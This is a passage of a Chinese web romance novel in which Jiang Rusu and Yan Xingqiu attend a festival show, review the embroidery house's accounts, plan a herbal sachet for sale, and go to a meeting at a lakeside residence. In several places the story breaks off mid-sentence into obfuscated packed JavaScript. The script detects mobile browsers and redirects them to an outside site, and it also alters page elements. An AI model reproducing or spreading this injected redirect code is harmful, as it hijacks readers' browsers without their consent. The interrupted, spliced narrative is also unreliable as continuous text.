“嗯,是不错。”姜如素觉得当真是自己平日里见识少了,等来年一定要去北夷瞧瞧,去了北夷便连同极北之地也一同去了。 姜如素在心底打着算盘,不知不觉就将这个奶糕吃完了,等着晏行丘说着要她再吃一个,她连忙摆手拒绝了。 “不是邀我去看杂耍班子的演出吗?一直在这里吃下去可未必赶得上。”姜如素看晏行丘一副回味无穷还要大吃特吃的模样,连忙劝着。 奶糕固然好吃,但因此错过了旁的倒是得不偿失。 “知道了。”晏行丘只能放弃看姜如素被酸到蹙眉的模样,将铜板放在碗下便跟着走了。 四垂的天际最后一丝晚霞的余光坠了下,天色将要黑了,杂耍班子也要开始了。 “这个怎么样?”晏行丘走到一个摊子前便走不动道了。 拿起摊子前的饰品,一个木雕的面具,就比划着戴在脸上,面具用重彩绘了些花纹,瞧上去神秘野性,晏行丘那双眼睛就透过那木雕面具上的眼孔看着她。 姜如素仔细的瞧着,倒是觉得他像是可爱的小狸奴,正着眼滴溜溜的转着,思及此倒是觉得晏行丘同着面具,下意识的有趣。 见姜如素没开口,晏行丘以为自己面具没拿正,是出了丑她才不说话。连忙将面具取下来,对照着店家挂在铺子上的面具看着一来二往的。 “是没带错啊?”晏行丘又将面具戴了回去,歪了歪头,“是不喜欢吗?” “喜欢。” 姜如素见他喜欢,边想着买下来图个高兴也好, “不如买下来?” “你给我买?”晏行丘逗着她,毕竟初见时的药费他都得打工还给她,这面具瞧着并不便宜,只是比往日的面具花哨了一些,价格指不定要翻几倍。 “嗯。我给你买。”姜如素正欲掏钱,晏行丘按住了她的手。 “真的?”他还有些不信。 “真的。”姜如素不似作假,拂开他的手就将荷包打开,“老板,这个面具多少钱?” “姑娘有眼光,这面具今日便宜些只要五十个铜板。”老板早就看着两人,一看就不是那些凑热闹只看不买的,“姑娘不如也买一个,两个只要八十。” 两个只要八十,算下来划算不少,铺子上的面具花样也多,光是同晏行丘戴着的那个相似的便有六七个,可姜如素平日就没带面具的习惯,于是偏向了方才带着乐呵呵的晏行丘。 “再看看?”反正铺子的花样多,晏行丘要是喜欢多买一个也好。 “我不要了。”晏行丘有些生气的凑在她耳边说着。 说出口的那一刻,他也觉得自己别扭。姜如素同意了,他却不肯了。分明少见的她愿意如此捧场,如此大方。 他却只觉得这是因为他为她约到了同晏临江一见的报酬,只单单为了感谢他而纵容。这并不是他想要的。 “方才不是喜欢?喜欢买下就是。”姜如素想来晏行丘态度转变如此之快,莫不是误解了自己的话,“我方才让你看看,不是说让看要不要买,是让你再看一个,我一同买下。” “那也不要。”晏行丘手快的将面具放下。 看台边也在这时响起了锣鼓声,是表演要开始了。 “演出开始了。”晏行丘软下语气,像是为自己方才的无理道歉。 “好,不买就不买。”姜如素也从了他。 看台已经开始表演起了热场子的演出,不少相约出门的男男女女都朝着看台拥去,他们如今在的这个摊子算是离得不近不远,要去瞧瞧怕是还得过去,姜如素也随着人群往看台走去。 晏行丘看着姜如素顺着人群朝着那边走去,只含笑呆呆站在原地。 “这会儿人多,你可别走丢了。”姜如素叮嘱着,但迟迟得不到回应,她有些不好的预感,难不成晏行丘当真走丢了? 待她环顾四周后,这个不好的预感被落实了,晏行丘真的走丢了。 过往的人群熙熙攘攘的,穿着着各式服装的男女老少们,从身侧路过,还有些带着那北夷面具的,只露着下半张脸。 都不是,姜如素环顾了四周,这些都不是晏行丘,晏行丘的个子出挑分明在人群中是一眼便可以找到的,但现下完全没了踪影。 她逆着人群朝着方才那摊子走去,只祈祷着晏行丘只是没听清,没跟上来。可方才的铺子前驻足着的男男女女全是陌生的面孔。 “看什么呢?”熟悉的男声像是在耳边炸开。 “你方才跑哪儿去了?”姜如素有些生气,晏行丘一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“别再走丢了,我可不再找你了。”姜如素转身将他手中的长命锁一把夺过就走。 晏行丘知道她这是同意了,几乎是是压抑不住的欢喜,那是一种想要告诉所有人的欣喜,“你这是答应我了?” 姜如素总觉得他这副张扬的样子,心里肯定憋着坏,立马凑上去捂住了他的嘴。低声警告着,“你要是太张扬,我可当什么都不知道。” 晏行丘任由她制住他的手腕,捂着他的嘴,眉眼带笑的看着她,“好。” 自然是好得不能再好。 “那你回答我,你这是答应我了?” “嗯,”姜如素轻声应下,看着晏行丘那个高兴劲,“有待考证。” 晏行丘立马便知道她当真是答应了他,她嘴上是说着有待考证,若是当真不愿,她是不会答应的,晏行丘附上她的手,引着她捂嘴的手,到颊边蹭蹭了她的掌心。 “我知道了。”晏行丘回握住了她的手。 看台的演出已经开始了,那边的欢呼声隔着老远都听到了。 “走吧。”姜如素说道。 耳边的欢呼声淹没了她的声音,晏行丘蹙着眉琢磨了着,似乎想破解她说了什么。 “走吧。” 晏行丘似乎依旧没听见。 姜如素无奈,朝着他招招手,让他低着头些,晏行丘将耳朵凑了过去,听见姜如素轻声说着,“走吧。” 耳鬓厮磨一般。 38.西山小居见 晏行丘终于是如愿以偿的得了首肯,心满意足的用一句“人太多了,万一又走丢了怎么办?”牵上了姜如素的手。 “姜姑娘。”人群中一个书生模样的男子隔着人群朝着姜如素打着招呼。便拨开人群朝着两人走了过来。 这个人姜如素记不太清,只约莫记得他是郢州城昨年考中的一位秀才,人人都称他为刘秀才,原是郢州城外一个教书先生的儿子。 “刘公子。”姜如素礼貌的回答了他。 “姜姑娘今日也是来看这北夷的杂耍班子?”刘秀才见姜如素点头,立马套着近乎。 “真是缘分,我今日也是来看这杂耍的。姜姑娘要是不介意的话,不如你我二人一同前去。” “怕是不太方便。”姜如素委婉的拒绝着他要同行的邀请,她感受到晏行丘的手不自主的捏紧了一些。 “你同他很熟吗?”晏行丘想拒绝,但又念及若是姜如素熟识的人,他开口回绝倒是不方便,凑在她耳边轻声询问着,要是不熟他早些将他支走。 “但也不是很熟,不过头两年王家媒婆替他上门说过亲。”姜如素平淡的回答着,像是陈述着一件无关紧要的事。 “说亲?”晏行丘平静不下来,险些炸了锅,“你和他?” “对啊。” 姜如素的年龄本就算是汉地的适婚年龄,孤身一身又无长辈,自己经营着一个绣楼,每月收益不少,来郢州这几年,有不少人家托媒婆上门来说亲,就好似姜如素是一个香馍馍。 最是夸张的一次,好几家人一听说不止是自家找了媒婆,连忙各自带着媒人就上了门。 挤得铺面都小了不少,后来姜如素每每想起都感慨着,要是那些人都是来买绣品的就好了,平日倒是见不少人,一股脑围上来十几号人的场面可不多见。 “可是我都回绝了。”姜如素看着晏行丘似乎觉得并无不妥,刘秀才虽然托人上门说过亲,但是她回绝了,两人也仅仅是点头之交。 回绝了就没事了? 晏行丘又当真是感叹若不是姜如素长了一颗木头心,怕是早就被有心之人给忽悠走了。 “没事的,若是不方便,我只和姜姑娘顺路同去,不会打扰到你的。”刘秀才不死心。见姜如素同着身侧的男子交谈着,想来应该还有机会,不能同行就算同路也好。 只是她那男子看向他的目光很是生硬冰冷,像是要生吞活剥了他。分明瞧着也像是个读书人,但郢州城的读书人他都认识,想来应该是绣楼里雇来护着姜姑娘的打手。 刘秀才看向姜如素的眼神,他太熟悉了,分明就是喜欢姜如素,再加上提过亲,他今日的搭讪更为可疑了。 “不过刘秀才应该定下亲事了,郢州城才出的秀才前途无量的,保不准将来就去上京城了。”姜如素想着晏行丘平日里总是偶尔喜欢生些闷气,赶忙宽慰着他。 这样子像是定下亲事了?分明是贼心不死。 “区区一个秀才有什么好说的。”晏行丘咬着牙说道。 姜如素当他在说气话,也没当真。以前到没觉得他怎么这么爱生气,脾气就像是炸药,一点就开始炸毛。 “真是抱歉,姜姑娘今日没空。”晏行丘握着她的手,将两人相握的手展示给了刘秀才。 刘秀才算是看明白了两人之间的关系,也不会自讨没趣,便说了句玩的开心便灰溜溜的走了。 晏行丘盯着他走了老远才收回目光,“平日少同他来往。” “知道了。”姜如素应声,“再不去演出可没了。” 北夷的杂耍班子耍了不少的把戏,起先还是最为传统的喷火,后面渐渐的顶缸驯兽,两人到的时候真是惊险的胸口碎大石。 不知不觉中看完演出已经到了从子时的时间了,两人便乘兴而归。才进院门就被点秋抓了个正着。 “姑娘,你可回来了。”点秋眼巴巴的盯着进门的姜如素。 这个时候绣楼的大家都是各自忙活着自己的事儿,赏月逛街乐得清闲,或者是早早歇下的也有。姜如素今日去看杂耍,隔着远瞧见了几个绣楼里的绣娘。 “点秋,你怎么不出去看杂耍班子,今日的演出很是有趣。”姜如素觉得平日点秋性子最是活泼,这种演出她极少有错过的时候。 “我不去,我就在这等着姑娘。”点秋一把扑进姜如素的怀中,声音有些哽咽。 姜如素一去便没了踪影,六七日都打听不到她的消息,点秋也不想往那些生死殊途上去想,但平日姜如素不论回庄子还是去临近的城池采买布料,是万万不会没了下落。 点秋提心吊胆的等了几日,好说歹说才从袁卜榆口中知道了姜如素的下落。 “好啦,我这不是好好的回来了吗?”姜如素拍着点秋的背安抚着她。“这副哭哭啼啼的想什么样子啊,以后还要当东家呢。” 这些日子的变动太大,起先她也并未料到。倒是有些懊恼今日一时便偷懒直接上了楼。 “我才不要当东家呢,我一直陪着姑娘就好。”点秋抹了抹泪水,姜如素带着她从生死未知到如今安稳富足的生活,她已经知足了。 “好。”姜如素哄着她,“这么晚还等着我是有旁的事吗?” “姑娘难道忘了今日可是对账的日子。”点秋瞥见好似寸步不离守着姜如素的晏行丘,瘪了瘪嘴。 今夜两人相伴而归,点秋已经猜着了两人之间的关系怕是近了一步,若是将来晏行丘欺负她家姑娘,她绝对不让他好过。 才进书房,姜如素就嗅到了空气中的药草味,眼神敏锐的捕捉到了书柜两侧分别放了个香囊大小的布包。 想来应该是袁卜榆用她庄子上的药材又捣鼓了些安神的方子。 “姑娘,这是这个月的账本。”点秋闷闷的抱着一堆账本在两人之后进了书房。 无素绣楼是每月都要核对一次账本的,这次的账本显然是比平日里还多,出事前本应该是将上个月的账本过一遍的,没曾想这一来二去耽搁,再安定下来就到今日。 便也一起将这两月的账本一起都看了。 “姑娘,你难道就没挂念着我吗?”点秋有些哀怨的坐在她身边。 姜如素在信中有提到过今日回来,她左盼右盼好不容易盼了半天。想着好久不见一定要多和姜如素叙叙旧,等到这夜色都浓了,也不见人影。 好不容易听见姜如素的声音知道她回来了,看着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127342|123622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边的晏行丘,后知后觉知道,她家姑娘那里是没回来,这是背地里偷偷给晏行丘给拐去逛街去了。 “想啊,这些日子最想你了。”姜如素翻着账本,食指在点秋额间轻轻一点。抬眸就看着晏行丘倚在一侧的柜子旁,眸色幽深的看着她。 晏行丘这莫不是又吃了哪门子的刺激,姜如素心生了趣味,故意晾着倒是不再理他。 上月的账本瞧着到还算是正常,账末尾的那几日收入并不多,姜如素也知道那是因为赵永林的缘故,但这月的账本倒是有些奇怪。 倒不是说那一日或者那几日的生意不太好,它是直接一个月的收入都下降了一成,这一成听着倒不是什么大数字,但每月的收益多了,这一成能抵上别家铺子一月的收益。 “这是怎么回事?”姜如素疑惑的问着。 “姑娘也瞧出来了吧。”点秋提及到这个的时候语气也沉下来了不少,“城北锦绣楼这个月出了个新花样,说是出的披帛是特地用花蜜熏染过的,连蝴蝶都会被吸引来。” 说起来好巧不巧,这个披帛刚出的时候,不少人都觉得新奇,蝴蝶怎么就单单被披帛都给吸引了过去,便都去凑热闹。 没曾想那日到当真有不少蝴蝶落在上面,不少女客见了纷纷购买。锦绣楼为了引得更多人去买,上新后接连三日都压了不少的价格,更引得不少的姑娘前去购买。 虽说并没有将如素绣楼的顾客都给强去,但不少散客都因为这个被吸引着去了,收营便下降了不少。 “我也一直想应对的法子,可我实在想不出来。”点秋说着,将她派人去锦绣楼买来的披帛递给了姜如素。 姜如素接过来,披帛的布料倒是轻盈,细嗅之下花香像是绽放在鼻尖一般,她平日不太喜欢如此浓烈的香味,被猛吸的一口气呛得连打了几个喷嚏。 姜如素将它放远了些才缓了过来,夏末的气候最是惹人烦闷,姜如素也颇是烦躁。思来想去瞧着书柜上的小布包倒是有了想法。 “点秋。”姜如素朝她招了招手。 “怎么了姑娘?”点秋立马附耳。 两人耳语了几句,点秋眼神一亮,“还是姑娘聪明。” 说着姜如素瞧着她就是要出门去办,连忙叫住她,“今日早些休息,明日再去做吧。” “好。”点秋乐呵呵的走了。 她前脚刚离开,后脚方才听了一半出门的晏行丘回来了。 “兄长的回信。”晏行丘将手中的信条朝着姜如素挥了挥,但他也不读就看着姜如素,“不对我说些什么?” “说什么?”姜如素不解。 “说你这些日子最想念的人是谁?”晏行丘将信条藏在身后。 “幼不幼稚啊。”晏行丘分明是因为方才她对着点秋说的那句,最是想念她,暗自吃味,往日他还能收敛些,如今二人关系更为亲密,他便更得寸进尺。 “你说不说。”晏行丘不达目的誓不罢休。 “最想念你了,好吧?”姜如素无奈回答着,但倒也是做不得假。 晏行丘得了乖,展开信条交给她,灯火葳蕤中映照着信条上的字苍劲有力。 【后日亥时西山小居见】 39.香囊 “姑娘。”姜如素昨夜对完账本后休息的时辰晚了不少,今日也起晚了不少。她才醒过神,思绪还在发闷,点秋兴高采烈的便迎了上来。 “怎么了?这般高兴的样子,难不成猜中了我昨夜想着的事儿?”姜如素逗她,昨夜算过账本后,今年倒也收营了不少银子,也合该给大家都发些奖赏。 “姑娘昨夜想着什么?莫不是又要给大家发银子?”点秋一提到赏银眼睛都亮了起来,她本就屯了个小金库,平日除开买吃的就喜欢不停的屯着银子。 “嗯,午间的时候告诉大家吧,今年每人发五两银子,也让大家早些高兴高兴。”姜如素安排着,往年也有发赏银的惯例,倒是今年波折格外多,便也多发一些。 “好嘞。”点秋喜上眉梢,“那我也给姑娘带了个好消息。” “想来定是个不错的好消息。”姜如素附和着,点秋脸上的笑意更深了。 “姑娘看这个。”点秋从身后拿来手掌一握大小的香囊,她提着上面的挂绳如同玩着拨浪鼓一般,晃了晃。 “姑娘昨日提到的这个,我做好了。”点秋等姜如素接过去,像是停不下来似的,高兴的围着姜如素晃悠。 手中的香囊样式也极为不同,平日绣楼中买的香囊两角会微微翘起像是羊角一般,手中这个被药材塞得鼓鼓的,就好似一个包子。 圆鼓鼓的也就掌心大小,一握便能握住,可可爱爱的。 香囊的差别还不止这一点,香囊上绣制的色彩偏素雅一些,花蕊的点缀只占极少的部分,上面那些各色的青绿色,勾勒出草药的模样。 “我其实前几日瞧着后院种的那药材开花了,便想着绣下来,正好许久没练手了。正好同这药包相衬。” 点秋见姜如素将手中的香囊转着装着看,就知道她在看花纹,点秋以前不识字,到了绣楼后倒是会写字了,但要是让她跟着学医术,她便困得睁不开眼。 “好点秋,这都会取景了。”点秋这次当真惊艳到了姜如素,“看来我们点秋已经可以独当一面了。连我都比不得了。” 姜如素夸着她,也逗着她。 “我倒也不懂后院种的什么药材,只知道每到秋天开的花可好看了,头两年其实也想过。”点秋有些羞涩的解释道。 她也只是一时兴起,没曾想正好就帮上了忙,心下暖暖的,似乎连呼吸的空气都清透了不少。 点秋这番倒是省了不少的事和时间。 姜如素本就想着,要换个花样去做这个新款式的香囊。若是用上往日的香囊花样只单单塞进神医独家的方子,倒像是只贪财一般。 像是急切的只接着袁卜榆的名头,卖那些压着卖不出的积压货,难免会引起一些人的议论。 换个花样是必须的。 她知道点秋这丫头平日顾这顾那的,两三日才摸得上针,便也没想着催促她。 没想到昨日才说出去的事儿,她今日便如此上心的完成了。 反正也不是什么特别着急的事情,姜如素也不急着去完成。交给点秋做,也算是正好磨练磨练磨练她。 今年花神节的时候,赢下花神节的外袍资格后,姜如素也私下问过那几日绣楼里的情况。花神节是个不小的节日,能拿下资格对绣楼的名声和生意都有益处。 知道点秋也绣制了一版后,姜如素也去看过点秋的绣品,瞧着倒是比往日那些只顾着照猫画虎,死板的绣制的老花样,有了不少的长进。 她手下的绣品,在走针上倒是有了灵气,但还不够。要将绣楼交给她还远远不够。 “姑娘?”点秋看着姜如素瞧的入神,轻声提醒了她。 姜如素被这一声唤给唤过了神,“就照着这个样式吧。” 点秋这次绣的香囊当真是一个极大的自我突破,姜如素颇有些欣慰,“今儿你的赏银翻倍。” “翻多少啊?”点秋只是下意识的问了一嘴,想来也是多上一倍。 “你觉得呢?”姜如素回答着她,手指从一根又添一根。 “好啊。”点秋瞧着姜如素的手指,知道了这是翻两倍,立马兴奋的恭维着姜如素,“姑娘最好了,姑娘是天下最最最好的姑娘。” “好啦。”姜如素被点秋抱着晃的头疼。“那到时候怎么卖出去你可想好了?” 无素绣楼在郢州城的名头并不小,但并不代表着一上新个花样立马就有着人上门来一抢而空。怎么推荐出去,怎么让人知道新品同样是个问题。 “我有个想法,就是不知道行不行。”一提到这个点秋犹犹豫豫的张口。 “什么想法?说来听听。”姜如素见她这反应,猜测着应该是个大胆的想法。 “我想...我想着...”点秋支支吾吾的开不了口,“要不等袁先生回来了再说吧。” “好。”姜如素答应下来,倒是觉得点秋要干件大事,她也说不准袁卜榆会不会同意。 午后发了赏银大家也都高高兴兴的谢过姜如素,便更加得劲的去干活了。袁卜榆是午后回来的。 “咳咳。”姜如素先是看到了他,轻声提醒着点秋。 “袁先生回来了?”点秋立马提起了精神。 “嗯,不是等着他回来说事吗?快去吧。”姜如素靠在栏杆处,俯视着将后院的情景都收入眼底。 “姑娘,你陪我一起去吧。”点秋临时又胆怯了起来,拉着她踌躇着。 “好。”姜如素也是好奇她今天到底要干出个什么大事儿,也就顺着她跟了上去。 袁卜榆才绣楼休息的屋子,点秋就立马捧着方才特地沏的一壶好茶跟着进了门。 “袁先生请用。”点秋上了茶后,还沏了杯毕恭毕敬的递给他。 “说吧。找我来有什么事儿说。”袁卜榆坐在桌边接过茶,感觉这氛围颇有些奇怪。 他今年才在郢洲城长居了下来,绣楼又不少生面孔,但待他都如自己人。 他同绣楼里的人虽说并非都是熟人,但并不陌生,往日他来了也就是给他倒壶茶便自顾自干活去了。 忙起来的时候没人顾及他,袁卜榆倒也是不介意,自己去茶室泡茶。 今日这般严肃隆重的氛围他倒是从未见过。 点秋犹犹豫豫的,话像是哽在喉间说不出口,袁卜榆见她欲言又止也不知道她到底想说些什么。 “嗯?”袁卜榆又看向姜如素,姜如素坐在另一边,看他看过来立马挪开了视线。 “可别瞧我,我可不知道啊。”姜如素 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161427|123622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故作玄虚的但是让袁卜榆更好奇今儿是要说些什么。 看这样子,莫不是点秋的家里人害了病,特地求到他面前来希望他施以援手?袁卜榆平日并不太喜欢接诊那些一看就要盯着几个月的病,像是把人据在那处似的。 但左右都是姜如素信得过的人,他视情况也是可以小小的破例一番。 袁卜榆都快往是什么病上去想了,点秋深吸一口气,终是开了口。 “近来绣楼要上一个新样式,就是这个香囊。”点秋将上午给姜如素也瞧过的香囊递给了袁卜榆。 袁卜榆凑在鼻尖一嗅便知道这里面的装的药包是他的方子,到松了口气,“原来是来要方子?同我说声我写给你们就是了。” “也不是。”点秋有些战战兢兢。“我是想着过些时候这新品是该开始售卖了。” 点秋开了个头,便干脆一鼓作气都说了。 “我想着到时候请袁先生来绣楼里出诊。”点秋鼓起勇气开口了,袁卜榆同姜如素是知己,但袁卜榆的性子是出了名的随性。 不然也不会存在这不少达官贵人去的不巧,只能连请上几次才能见着他,袁卜榆可是单因为天气不好或是今日见了烦心的人便不再出诊的性子。 要让他规规矩矩的来,坐在绣楼出诊帮忙着吸引来不少的人,帮着她们做生意,显然是天方奇谭。 这点点秋还是极为忐忑的,可她还是想试试,她不知道袁卜榆会不会看在姜如素的份上便答应下来。 “这是?把主意打到我身上来了?”袁卜榆有些啼笑皆非。 方才他见点秋那视死如归的模样,还以为是谁身体抱恙命不久矣了,她今日才特来叨扰他。 “你也是这般想的?”袁卜榆将目光挪到了方才一直站在一侧默不作声的姜如素身上。 “我?”姜如素无辜的眨眨眼,连忙喝两口茶,她也是方才才知道的。但就算点秋不这般想,她也会找个机会让他来绣楼坐诊。 霍霍她不少药材的事情,让他来绣楼当活招牌也不为过吧。 点秋倒是聪明,姜如素只是同她说了要将这安神驱蚊的药草做成香囊拿去售卖,点秋自己像是摸到了经商的密门。 一下子就想着袁卜榆这段时间住在郢州城,给不少百姓少爷们都瞧过病,人人提及他的医术都是赞不绝口。 正巧这方子也是袁卜榆自己的方子,便打上了神医特制消暑秘方的名头去卖这香囊,算过价格后倒是个不错的新物件。 “我要是不答应呢?”袁卜榆沉声回答。 “诶,这可使不得。”姜如素知道点秋能说出口已经是为难她了,余下的话便直接接了过来。 “那你说说怎么坐诊。” “你平日坐诊十人,不如到时候多辛苦辛苦你多看些?”姜如素缓缓在袁卜榆的目光下伸出三根手指,“三十人怎么样?” 她都想到了到时候大家听闻袁神医比平日看的多,那些往日赶不巧的怕是都会来绣楼里,说不准这次就赶巧了。 “十五。”袁卜榆咬死不松口,“我平日也才出诊也才看十人,十五人已经是极大的退步了。再劝我可一个都不看了。” “成交。”超出意料之外的让步,姜如素自然乐意。 40.掉马 “不对,这个桌子再往这边调整一下。”点秋的声音从前院传来。 袁卜榆答应后,姜如素也是仗义的提出给他单独弄一个隔间出来,保证让袁神医到时候呆的舒坦,点秋也因这一请打扰到了袁卜榆往日的计划,颇不好意思的主动接下了布置的活儿。 昨日同点秋商榷好了,今日一早她就张罗起来了,先是去同秀萍将这几日要的一些数量之类的,一一都商定了下来,就连程伯都被她支取照着方子买药材去了。 她这时忙的前院后院都跟着赶进度,争取早早的赶出一批货物来。 “都忙着呢,你在这里偷闲。”晏行丘起的晚,自楼上下来,眉眼弯弯笑得很是柔和。 晏行丘边下台阶走近,边活动着筋骨,后背的伤似乎隐隐发痒,是伤口在愈合。姜如素将他所有的举动都收在眼底,男子手掌的疤痕倒是给她心上落下一击闷锤。 “你都不怕我累着?逮着我就让我去干活?”姜如素有样学样,语气颇有些委屈,像是埋怨着晏行丘的黑心,控诉着他一点都不关心她。 姜如素下楼时就将一侧屋檐下的竹躺椅给搬了出来,这会儿躺在后院的树荫下,晒晒太阳。 "怎么会?"晏行丘又走近了些,站在她身后为她揉着肩,姜如素身子一动想要躲开,可言宣过后再这般疏离倒是不好,她僵着身子。 晏行丘倒也没有过分的逾矩,只替她揉揉了肩,手法倒是极好,有点像是某个医馆的手法。 姜如素也就受着,眯着眼在暖阳下小憩,她今早本也是想着去帮忙来着,想着再过个一两个月便不在郢州了,看向绣楼的每一处都是不舍。 她连到时候临行的说辞都想好了。兜兜转转在绣楼逛了一圈,想找个短时间便能完成的活儿,又属实没找着。 点秋看着她,念着她在外这半月吃了不少苦,说什么也不让她干活,连忙推着她去后院休息。 更可况今日午后还得去见晏临江,姜如素心下倒有些慌张,左寻右找想去找点事情做,最后倒是都觉得心烦,索性不如干脆好好休息一番。 “你不一同去吗?”姜如素轻拍掉晏行丘的手,坐起了身子来,“毕竟你们兄弟二人也该好好见见,不如一同叙旧?” “我便不去了,你同兄长应该有许多话要说,我去不合适。”晏行丘善解人意的答道。 她对晏临江的情感很是复杂,那是一种进无可进,退则挚友知己的情感,说起欢喜倒是还差上两分,但也或许是自己情感愚钝。 那是一种异样的情感。 姜如素倒是觉得晏行丘不该如此坦然,分明前两日夜市上遇见毫无关系的刘秀才都能让他吃味,巴不得到所有人面前去告诉他们,她姜如素已心有所属。 旁人尚且如此,为何到了晏临江他却又释然了。 “就不怕我瞧瞧的溜走了?”溜回西羌,溜去其他的地方。 姜如素试探性的开口,作势是逗他。 “我相信你不会置我于不顾的,”晏行丘将姜如素的手放在自己的怀中,姜如素的掌心依稀能感受到他起伏跳动的心脏,“你可是答应我了的。” “我答应你什么了?”姜如素也是才知道逗晏行丘是件有趣的事儿。 “你可是接受我的喜欢了,是要和我一辈子在一起的。”晏行丘义正言辞的说着,姜如素觉得有些好笑,晏行丘这是开始哄骗她了? 姜如素沉思着,倒是觉得她也有些奇怪了起来。 见姜如素不作答,晏行丘兀自的以为着她或许是这样想过。 “不要。”晏行丘半蹲在她身前,委屈的抬眼看她,将她的手握紧。 似乎这样她便真正的离不开,无论是她口中的随晏临江走,还是突然悄无声息的离开,似乎这样,她便不会同他分开的。 “那你不随我一起去?也不送送我?”姜如素笑着看他。 细细算下来自从他来了绣楼,便几乎都跟在她身边了,拜会严秋水,赴约赵永林,似乎鲜少有着她出行时他不跟在身边的时候 “不了。”晏行丘低头摩挲着她的指尖,逗得姜如素心痒痒的,“正巧你昨日不是说想吃城东那家的烤鸭吗?我去给你买回来解解馋。” 见晏行丘似乎说准了就是不同她一起去。 “和兄长闹别扭了?”姜如素胡乱想了个理由。 “嗯。”姜如素给了台阶,他便顺势下了,闷着声音应了一声。 若是闹了矛盾躲着不见倒是说的通了,晏临江的绝笔信落在他的手上,晏行丘亲自将晏临江送回了晏家,他们兄弟二人应当是亲近些。 姜如素的心如擂鼓,比耳边的喧闹声还要猛烈,尽管这样,她心下依旧有着一个答案,她期待着真相揭开的那一刻,却又下意识的反驳自己,宽慰着自己是胡思乱想。 “好。”姜如素暗戳戳的戳戳晏行丘的掌根,“那你可不能乱跑,我会早些回来。” “嗯,我等你。”晏行丘将话说的极为暧昧。 后院因着种了不少的花花草草,蚊虫倒是有些多,似乎咬了晏行丘一口,只见他猛地拍向了颈间。 “蚊虫咬了你?”姜如素立马问着。 “嗯。”晏行丘瓮声瓮气。 “不如我给你涂点驱蚊的药水?”姜如素说着已经收回了手,从身上取出了一个小瓷瓶,极小的只有小拇指般大小的白瓷瓶。 “不了,寻常驱蚊的药水我用不太惯,反倒是没驱赶走蚊虫,但是先驱的我头晕了。”晏行丘耐心的解释着,怕姜如素失落,晏行丘立马握住她拿着瓷瓶的手,“我习惯了就好。” 头晕?姜如素立马便知应是里面有药毒,这才让晏行丘不愿用。 “无色无味的,是我自己做的。”姜如素将瓷瓶中的药水涂抹了些在自己的腕间,将手腕向前递了出去,朝着晏行丘示意着,“不如你闻闻?” 姜如素主动亲近他,晏行丘自然很是受用,他青擒住姜如素的手臂,鼻息都落在腕间,他凑得近,再近一分,就要将吻落在上面。 “信了?”姜如素收回手,晏行丘却捉着不让她如愿。“放手。” 晏行丘这才松了手,姜如素如今这般的亲近让他几乎都觉得这是一场梦,差点失态的握着不放手,才低着声哑着嗓子应道,“嗯。” 姜如素将药水涂抹细细的涂抹在在了他的腕间,脖颈处,耳后,药水是刚从瓷瓶中倒出来的,还带着一丝凉意。 晏行丘要高她一些,姜如素站起身还需抬高些手才能将够着他耳后,“你低些。” 姜如素凑得极近,几乎整个人就在他怀中,晏行丘喉头发痒,闷哼出一声,“好。” 才给晏行丘涂抹完驱蚊的药水,后院门边就有人唤姜如素,“姜姑娘,马车到了。” 是时辰到了。 “去吧。”晏行丘让开了身子,“等你早些回来吃烤鸭。” “嗯。”姜如素答着便起身往后院门走去,这次出行并没有算多少闲余的时间,再拖上一会儿,怕是得去迟了。 她出门前回望了一眼,晏行丘卧在她方才躺着的那竹躺椅上,树干挡着,姜如素看不太清,他或许是在悠闲的小憩。 西山小居是私人宅院,建在郢州城外临水的地方,走小路过去倒是不远,也就半个时辰的脚程,马车走的路倒要远些,但不多不少也正正花上半个时辰才能到。 去西山小居的路并不颠簸,一路上就极为顺利的到达了,到的时候还差半刻钟亥时,也算是赶到了。 “是姜姑娘吧?”马车才停下,敞开得院门里就迎上来一个丫鬟。 “是我。” "见过姜姑娘,"丫鬟朝着她行了一礼,“请姜姑娘随我来。” “嗯。”姜如素回了一礼,便跟在丫鬟身后往里走。 没走出几步路,便远远的看见那天际般看不见边际的湖水中,修了一座湖心亭。 那湖心亭站着一个人,身姿挺拔,随着走近了些,看的更为真切,他穿着一身靛青色的衣裳,就好似七 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好。”晏临江应声将手腕交递了过来,语气似乎带了微不可查的笑意,“如今医术大成了?” 还记得当时初见时,姜如素随着协礼祭司修习医术的时候,可没少同晏临江抱怨过症状难记,方子难背,如今时过境迁。 诸多相异,当真是许久不见。 “自然。”姜如素笑着回答,晏临江的脉搏告诉着她,他安好。 “信了?”晏临江见她微蹙的眉松开。 